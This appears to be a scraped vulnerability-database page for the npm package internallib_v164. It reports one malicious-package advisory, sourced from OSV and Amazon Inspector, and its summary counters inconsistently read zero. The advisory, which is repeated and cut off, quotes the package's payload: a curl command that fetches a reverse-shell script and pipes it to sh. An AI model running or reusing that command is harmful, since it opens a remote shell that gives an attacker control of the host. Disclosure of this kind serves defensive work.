0vulnerabilities
- Critical0 (0.0%)
- High0 (0.0%)
- Medium0 (0.0%)
- Moderate0 (0.0%)
- Low0 (0.0%)
internallib_v164
Ecosystem: npm
Downloads:
- 0CriticalAffects 0 versions
- 0HighAffects 0 versions
- 0MediumAffects 0 versions
- 0ModerateAffects 0 versions
- 0LowAffects 0 versions
Monthly breakdown
- 0 vulnerabilities
- Critical: 0
- High: 0
- Medium: 0
- Moderate: 0
- Low: 0
Vulnerabilities (1)
Known vulnerabilities affecting internallib_v164, based on data from OSV.
| ID | Severity | Summary | Affected versions | Published | Source |
|---|---|---|---|---|---|
| MAL-2026-13764 | Unknown | Malicious code in internallib_v164 (npm)--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (f8ea0eaa858b83bda14f7093d473013b1fbc1301d8f1401a837e67b2a8850d86) index.js exports a function that runs `/bin/bash -c "curl https://reverse-shell.sh/10.0.72.234:4444 | sh"`, fetching a reverse-shell script from reverse-shell.sh templated with the hardcoded target 10.0.72.234:4444 and piping it to sh. When a consumer requires the package and invokes the exported command, the installer's host opens an outbound interactive shell to that address, giving the remote party arbitrary code execution and persistent |
| OSV (opens in a new tab) |
--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (f8ea0eaa858b83bda14f7093d473013b1fbc1301d8f1401a837e67b2a8850d86) index.js exports a function that runs `/bin/bash -c "curl https://reverse-shell.sh/10.0.72.234:4444 | sh"`, fetching a reverse-shell script from reverse-shell.sh templated with the hardcoded target 10.0.72.234:4444 and piping it to sh. When a consumer requires the package and invokes the exported command, the installer's host opens an outbound interactive shell to that address, giving the remote party arbitrary code execution and persistent